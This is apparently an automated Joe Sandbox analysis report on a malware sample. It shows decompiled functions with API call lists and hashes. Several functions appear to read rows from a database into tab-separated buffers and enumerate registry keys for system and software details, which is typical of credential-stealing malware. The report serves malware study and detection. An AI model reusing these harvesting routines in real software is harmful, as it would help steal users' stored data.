0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Strings

h&q, xrefs: 004086AC

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: h&q
API String ID: 3196222039-1566146820
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t2 =  &_a8; // 0x717028
				_t30 =  *0x41a40c; // 0x7184b8
				wsprintfA( &_v268, _t30, _a12,  *_t2);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x7126a0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x0040941a
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Strings

(pq, xrefs: 0040941A, 0040941D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: (pq
API String ID: 3196222039-3240293910
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043CE7B, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D0E0
__aulldiv.LIBCMT ref: 0043D102
_write_multi_char.LIBCMTD ref: 0043D21B
_write_string.LIBCMTD ref: 0043D236
_write_multi_char.LIBCMTD ref: 0043D262
__mbtowc_l.LIBCMTD ref: 0043D2D1

Strings

9, xrefs: 0043D113

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 850363499-2366072709
Opcode ID: fdf84125dd862449f9fe38aea5a9eb98b5cfc8628c25d700ee1f1ea31198a08a
Instruction ID: 3081c155ce364c1024a117d314dc8dd9e0d2dba909cda0ae50fad2c892176fa3
Opcode Fuzzy Hash: fdf84125dd862449f9fe38aea5a9eb98b5cfc8628c25d700ee1f1ea31198a08a
Instruction Fuzzy Hash: 05F14DF1D002299FDF24CF54DC81BAEB7B5BB89304F14519AE609A7281D7389E84CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t2 =  &_a8; // 0x717028
				_t27 =  *0x41a07c; // 0x718598
				wsprintfA( &_v276, _t27, _a12,  *_t2);
				_t58 =  *0x41a294; // 0x716f88
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095aa
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Strings

(pq, xrefs: 004095AA, 004095AD

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID: (pq
API String ID: 2177231248-3240293910
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x7184b8
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x714fc0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00435B49, Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435DA5
__aulldiv.LIBCMT ref: 00435DC7
_write_string.LIBCMTD ref: 00435EE9
_wctomb_s.LIBCMTD ref: 00435F92

Strings

9, xrefs: 00435DD8
-, xrefs: 00435E6E

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 825476825-1631151375
Opcode ID: 98e3f419f72b06274afb4a8408703e100243dadeb0abe28602adc2fc99585c2e
Instruction ID: f7f9f204d07b0f1f9a9e0fba82394ffbb721b8b2dec87059d2bb445499f4062e
Opcode Fuzzy Hash: 98e3f419f72b06274afb4a8408703e100243dadeb0abe28602adc2fc99585c2e
Instruction Fuzzy Hash: FBF148B1D056299FDF24CF58CC89BAEB7B1BB48304F1491DAE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043CA04, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043D21B
_write_string.LIBCMTD ref: 0043D236
_write_multi_char.LIBCMTD ref: 0043D262
__mbtowc_l.LIBCMTD ref: 0043D2D1

Strings

xD@, xrefs: 0043CA2B

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_write_string
String ID: xD@
API String ID: 153657362-1198140267
Opcode ID: daed41aa85fb69f04312a925ea785d1f26c4162713386d07944945f9e40cbc93
Instruction ID: f682d843064fad8fed7452b330008a8545d98e74154f35edfb78ffaba7743ed9
Opcode Fuzzy Hash: daed41aa85fb69f04312a925ea785d1f26c4162713386d07944945f9e40cbc93
Instruction Fuzzy Hash: AFA15FB1D00228DBDB24DF55DC81BAEB7B5AB48304F14919AE6097B281D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x716060
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x715f70
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x715f88
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x7160a8
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x715e98
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

p_q, xrefs: 004061A2
``q, xrefs: 0040615F

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: ``q$p_q
API String ID: 553454533-3139175862
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x715810
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x718cc8
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x718d58
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,00718CC8,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,00718D58,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x717078
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x718f50
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00717078,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,00718F50,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Strings

xpq, xrefs: 0040B26F

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: xpq
API String ID: 3225020163-2912868518
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x712748
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x7180b8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
